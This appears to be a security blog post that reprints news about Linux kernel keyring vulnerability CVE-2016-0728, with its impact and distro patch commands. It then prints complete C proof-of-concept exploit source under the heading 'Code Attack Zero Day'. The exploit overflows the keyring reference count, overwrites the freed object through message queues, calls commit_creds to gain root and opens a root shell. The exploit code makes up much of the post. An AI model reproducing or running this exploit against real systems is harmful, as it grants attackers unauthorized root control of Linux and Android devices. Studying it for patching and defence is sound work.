Zero-Day Flaw Found in 'Linux Kernel' leaves Millions Vulnerable

A new critical zero-day vulnerability has been discovered in the Linux kernel that could allow attackers to gain root level privileges by running a malicious Android or Linux application on an affected device.
The critical Linux kernel flaw (CVE-2016-0728) has been identified by a group of researchers at a startup named Perception Point.
The vulnerability was present in the code since 2012, and affects any operating system with Linux kernel 3.8 and higher, so there are probably tens of millions of computers, both 32-bit and 64-bit, exposed to this flaw.
However, the most bothersome part is that the problem affects Android versions KitKat and higher, which means about 66 percent of all Android devices are also exposed to the serious Linux kernel flaw.
Impact of the Zero-Day Vulnerability
An attacker would only require local access to exploit the flaw on a Linux server.
If successfully exploited, the vulnerability can allow attackers to get root access to the operating system, enabling them to delete files, view private information, and install malicious apps.
"It's pretty bad because a user with legitimate or lower privileges can gain root access and compromise the whole machine," Yevgeny Pats, co-founder and CEO at security vendor Perception Point, said in a blog post published today.
"With no auto update for the kernel, these versions could be vulnerable for a long time. Every Linux server needs to be patched as soon the patch is out."
Usually, flaws in Linux kernel are patched as soon as they are found; therefore, Linux-based operating systems are considered to be more secure than others. However, zero-day vulnerability recently discovered in the Linux kernel made its way for almost 3 years.
The Cause of the Critical Linux Kernel Vulnerability
linux-root-exploit
The vulnerability is actually the result of a Reference Leak in the keyrings facility built into various flavors of Linux. The keyrings facility is primarily a way to encrypt and store login data, encryption keys and certificates, and then make them available to applications.
However, a reference leak could be abused by attackers to ultimately execute arbitrary code in the Linux kernel.
So far, the researchers said, no exploits have been discovered in the wild that take advantage of this vulnerability.
Perception Point has provided a technical analysis of the vulnerability and how one can exploit it, including proof-of-concept (PoC) exploit code published on its Github page.
Patch Expected to Roll Out Soon
The good news is that Perception Point has already reported the flaw to the Linux team, and patches are expected to roll out today to devices with automatic updates.
However, it may take a little longer on Android devices to receive the patch, given the fact that most updates aren’t pushed automatically by manufacturers and carriers.
How Patch Linux Kernel Vulnerability (CVE-2016-0728)
Type following commands as per your Linux distro:
Debian or Ubuntu Linux: sudo apt-get update && sudo apt-get upgrade
RHEL / CentOS Linux: sudo yum update

Code Attack Zero Day



/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
/* $ ./cve_2016_072 PP_KEY */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81094250)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)



struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;
};

void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
    unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
    struct key_type * my_key_type = NULL;
   
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;

if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}

    printf("uid=%d, euid=%d\n", getuid(), geteuid());
    commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
   
    my_key_type = malloc(sizeof(*my_key_type));

    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));

    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    //key->perm
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

    //key->type
    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(1);
    }

    keyring_name = argv[1];

/* Set the new session keyring before we start */

serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
    }

if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}


puts("Increfing...");
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffff - l)) {
            l = l/2;
            sleep(5);
        }
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    sleep(5);
    /* here we are going to leak the last references to overflow */
    for (i=0; i<5; ++i) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }

    puts("finished increfing");
    puts("forking...");
    /* allocate msg struct in the kernel rewriting the freed keyring object */
    for (i=0; i<64; i++) {
        pid = fork();
        if (pid == -1) {
            perror("fork");
            return -1;
        }

        if (pid == 0) {
            sleep(2);
            if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                perror("msgget");
                exit(1);
            }
            for (i = 0; i < 64; i++) {
                if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                    perror("msgsnd");
                    exit(1);
                }
            }
            sleep(-1);
            exit(1);
        }
    }
 
    puts("finished forking");
    sleep(5);

    /* call userspace_revoke from kernel */
    puts("caling revoke...");
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
        perror("keyctl_revoke");
    }

    printf("uid=%d, euid=%d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);

    return 0;
}


Share on Google Plus

About Vo Uu

Tác Giả là người chuyên nghiên cứu về các kỹ thuật hacking, security, marketing, là người có góc nhìn lạ và đi sâu vấn đề cũng như là một con người thẳng thắn góp ý. Nếu sử dụng bài trên blog mong các bạn dẫn lại nguồn tác giả!!! Tác Giả rất mong có sự đóng góp hội ý từ cộng đồng để cho an toàn an ninh mạng việt nam ngày càng được an toàn hơn!!

0 nhận xét:

Post a Comment